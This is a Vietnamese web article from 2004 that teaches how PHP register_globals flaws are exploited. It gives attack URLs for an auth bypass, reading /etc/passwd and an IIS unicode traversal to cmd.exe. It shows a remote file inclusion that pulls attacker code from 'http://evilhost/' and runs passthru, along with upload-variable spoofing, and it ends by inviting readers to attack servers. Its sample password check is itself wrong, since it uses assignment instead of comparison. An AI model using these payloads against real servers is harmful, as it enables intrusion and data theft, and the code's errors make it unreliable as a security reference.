hn4u @ Last updated 21/11/04 22:42
Go to my homepage at http://4u.jcisio.com
Full version available at http://4u.jcisio.com/r/article137.htm

Không rõ

Nguy hiểm tiềm ẩn trong PHP Applications!

Giới thiệu về ngôn ngữ PHP

PHP gần như đã trở thành một ngôn ngữ lập trình web rất phổ biến trên mạng hiện nay. PHP là chữ viết tắt của cụm từ "PHP Hypertext Preprocessor", tạm dịch là ngôn ngữ tiền xử lí các siêu văn bản. Các mã lệnh PHP được nhúng vào các trang web, các trang này thường có phần mở rộng là .php, .php3, .php4. Khi client gởi yêu cầu "cần tải các trang này về" đến web server, đầu tiên web server sẽ phân tích và thi hành các mã lệnh PHP được nhúng trong, sau đó trả về một trang web kết quả đã được xử lí cho client. PHP là một ngôn ngữ rất dễ dùng, dễ học và cực kì đơn giản hơn nhiều so với các ngôn ngữ khác như C, Perl. Sau đây là một số điểm mạnh của ngôn ngữ PHP:

Lỗ hỏng bảo mật trong PHP?

Khả năng không cần khai báo biến trước khi dùng chính là lỗ hỏng bảo mật lớn nhất trong các ứng dụng PHP! Tôi sẽ làm sáng tỏ điều trên qua các ví dụ sau.

Các biến toàn cục

Các biến trong PHP không cần phải khai báo trước khi dùng. Khi bạn bắt đầu sử dụng một biến nào đó, biến này sẽ được PHP tự động khởi tạo và giá trị mặc định của nó là ""(tức là rỗng, không có gì hết, nếu như bạn không gán giá trị ban đầu cho nó). Attackers có thể lợi dụng chính sự khai báo biến tự động này của PHP để báo hại cho các ứng dụng PHP! Bạn hãy xem qua một html form sau:

HTML
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

Khi ngưòi sử dụng bấm nút , kịch bản test.php trên web server sẽ xử lí những gì mà người dùng đã nhập vào form. Khi test.php chạy, biến $hello sẽ được PHP tạo tự động với nội dung là những gì mà người dùng đã nhập vào hộp textbox trong form. Điều gì sẽ xảy ra nếu như một attacker khởi tạo thêm biến trước khi gởi cho test.php!

Mã lệnh
http://server/test.php?hello=hi&setup=no

Attacker đã tạo hai trước 2 biến $hello="hi" và $setup="no". Biến $setup được tạo thêm(biến này được dùng test.php dùng để setup!)

Hãy xem một kịch bản PHP dùng để kiểm tra mật khẩu của người dùng:

Mã lệnh (PHP)
<?php
if ($pass = "hello")
$auth = 1;
...
if (
$auth == 1)
echo
"thông tin quan trọng";
?>

Đầu tiên nó sẽ kiểm tra biến $pass có bằng "hello" không, nếu bằng thì khởi tạo biến $auth=1; lệnh if thứ 2 sẽ kiểm tra biến $auth có bằng 1 hay không, nếu bằng thì xuất ra dòng "thông tin quan trọng".

Attacker có thể qua mặt được PHP script trên chẳng khó chút này!

Mã lệnh
http://server/test.php?auth=1

Attacker chỉ cần khởi tạo biến $auth=1, không cần phải để ý gì đến biến $pass!

Remote files

Bây giờ tôi sẽ nói cho bạn biết về cách lấy files trên server qua các kịch bản PHP "vulnerable"!

Mã lệnh (PHP)
<?
if (!($fd = fopen("$filename", "r"))
echo(
"Không thể mở được file: $filename<BR>\n");
?>

PHP code trên sẽ mở file được có tên được chỉ định trước trong biến $filename. Một attacker có thể biến $filename="/etc/passwd" để lấy file passwd trên server;). Attacker cũng có thể đặt $filename="http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir", PHP sẽ tạo một HTTP request đến server "target", .. attacker này muốn exploit "unicode flaw" trên IIS server "target" khác đây!

Một ví dụ khác:

Mã lệnh
<?php
include($libdir . "/languages.php");
?>

Hàm include() dùng để gộp nội dung của một file .php khác vào file .php hiện tại. $libdir là một biến configuration. Biến này được đặt sẵn trước khi các kịch bản PHP được thực thi, nó dùng để xác định nơi lưu các files thư viện - library. Nếu attacker có thể thay đổi được nội dung của biến $libdir (nhiệm vụ này hơi nặng nề!), attacker có thể làm những điều trên server target mà hắn muốn qua PHP script. Chẳng hạn như attacker sẽ tạo một file có tên giống y languages.php trên web server của mình với nội dung như sau:

Mã lệnh
<?php
passthru("/bin/ls /etc");
?>

Sau đó, attacker đặt $libdir="http://evilhost/" (địa chỉ web server của hắn). PHP sẽ cố gắng tạo một kết nối đến evilhost trên cổng HTTP, nhận file "http://evilhost/languages.php" và thi hành nó trên server target. Kết quả là danh sách các file trong thư mục /etc trên server target sẽ hiện ra trước mắt của attacker.

Upload File

Phần này, tôi sẽ chỉ cho bạn biết cách upload files của mình lên server và thậm chí là có thể bạn có thể thực thi ngay các công cụ tấn công trên server thông qua các kịch bản PHP dẽ bị tổn thương!

Một kịch bản PHP dùng để upload file thường có dạng như sau:

HTML
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

Khi bạn click chuột lên nút . Hai biến $hello và $MAX_FILE_SIZE=10240 được chuyển đến cho PHP script upload. Trường ẩn MAX_FILE_SIZE dùng để giới hạn kích thước của file được upload lên, dĩ nhiên là bạn có thể dễ dàng thay băng một giá trị lớn hơn 10240 bytes bằng cách tạo một biến $MAX_FILE_SIZE có giá trị ban đầu lớn hơn 10240 trước khi chuyển cho PHP script upload.  File mà bạn chọn để upload lên server sẽ được lưu trên server bất chấp kích thước file là bao nhiêu đi nữa(nhưng không được vượt quá giá trị cho phép trong file cấu hình của PHP - php.ini). File này được lưu trữ tạm thời trên server, thường nằm trong thư mục /tmp với một cái tên ngẫu nhiên, chẳng hạn như phpxXuoXG. Đồng thời PHP sẽ tự động khởi tạo các biến dùng để quản lí file đã được upload lên. Ví dụ như trong form upload trên, các biến sau sẽ được tạo sau khi file đã nằm trên server.

$hello = tên đầy đủ file tạm thời được lưu trên server, chẳng hạn như "/tmp/phpxXuoXG"

$hello_size=kích thước của file tính theo byte, ví dụ như 1024

$hello_name=tên gốc của file được upload trên máy khách, ví dụ như "c:\\temp\hello.txt"

$hello_type=mime type của file đã được upload, ví dụ như "text/plain"

PHP script upload có thể dựa vào các biến này để tiếp tục công việc lưu file!

Tuy nhiên, một smart attacker có thể lừa được PHP script upload như sau:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

Kết quả là các biến sau được tạo:

$hello = "/etc/passwd"

$hello_size = 10240

$hello_type = "text/plain"

$hello_name = "hello.txt"

Nếu thành công, attacker có thể lưu file hello.txt của mình trên server với tên đầy đủ là /etc/password. Chưa hết, nếu attacker bắt gặp một PHP script khác có dạng như sau:

Mã lệnh (PHP)
<?php
if (file_exists($theme)) // kiểm tra xem file có tồn tại hay không trên server(không phải là remote files)
include("$theme"); // nếu có thì gộp nó vào
?>

Attacker có thể upload một file PHP script nguy hiểm lên server, sau đó tranh thủ khởi tạo luôn giá trị ban đầu cho $theme=<đường dẫn đến file PHP script nguy hiểm>. Như vậy attacker có thể dễ dàng điều khiển được server qua các lệnh trong PHP script đã được upload lên. Một attacker thông minh hơn có thể tiếp tục upload lên server các công cụ tấn công khác(không cần phải viết bằng PHP) và một PHP script đảm nhận nhiệm vụ chmod() executable cho các file này và sau đó thi hành các file đó trên server target. Attacker này có thể tấn công ngay chính server và các mạng khác mà chẵng gặp phải một trở ngại gì từ Firewall hoặc IDS;)

Library Files

Nhiều người viết PHP thường gộp file thư viện thông qua các hàm include() và require(). Các file thư việc thường có phần mở rộng là .inc. PHP sẽ phân tích và thi hành các mã lệnh được có trong file đó. Nhưng nếu là một file bình thường thì sau? PHP sẽ in nội dung của file đó ra! Lợi dụng khe hở này, attacker có thể xem files trên server. Bạn hãy xem PHP script dẽ bị lợi dụng sau:

main.php

Mã lệnh (PHP)
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include(
"$libdir/loadlanguage.php");
?>

libdir/loadlanguage.php

Mã lệnh
<?php
...
include("$langDir/$userLang");
?>

libdir/loadlanguage.php được chạy main.php, rất an toàn phải không?! Tuy nhiên trong loadlanguage.php lại chẳng an toàn chút nào! Nếu attacker khởi tạo sẵn các giá trị ban đầu cho 2 biến $langDir và $userLang thành đường dẫn đến một file quan trọng nào đó trên server và chuyển liền cho libdir/loadlanguage.php xử lí(không cần phải qua main.php), attacker có thể dễ dàng xem được các nội dung của các files trên server!

Tóm lại, PHP scripts chẳng an toàn chút nào... và bạn có thể lợi dụng khe hở này để attack các servers! Bye


hainam4u @ Last updated 21/11/04 22:42
Go to my homepage at http://4u.jcisio.com